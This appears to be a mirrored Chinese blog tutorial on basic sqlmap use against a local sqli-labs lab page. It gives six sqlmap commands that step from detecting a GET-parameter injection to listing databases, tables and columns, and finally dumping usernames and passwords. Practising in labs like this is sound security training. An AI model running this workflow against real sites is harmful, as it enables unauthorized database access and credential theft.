zoukankan      html  css  js  c++  java
  • sqlmap基本使用

    sqlmap 使用

    需要安装python2的环境

    使用方法:

    用最基础的get型注入开始

    1、当我们发现注入点的时候,

    python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1"

    2、查看所有的数据库

    python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dbs

    3、查看当前使用的数据库

    python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --current-db

    4、发现使用的是security数据库,接下来对此数据库进行查询

    python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --tables -D "security"

    5、查出所有表以后,对users表的列名进行查询

    python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --columns -T "users" -D "security"

    6、users表中的列名已经知道了,可以直接查出所有数据

    python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dump -C "id,username,password" -T "users" -D "security"



    在“用户”-》“.sqlmap”-》“output”可看到查询结果

  • 相关阅读:
    js拷贝
    git
    移动端网页电话号码的拨打
    es6 promise对象
    h5调用qq客户端
    ActiveMQ中的Destination高级特性(一)
    ActiveMQ集群下的消息回流功能
    ActiveMQ的静态网络链接
    深入理解IoC/DI
    ActiveMQ启动多个broker
  • 原文地址:https://www.cnblogs.com/gx991010/p/12987201.html
Copyright © 2011-2022 走看看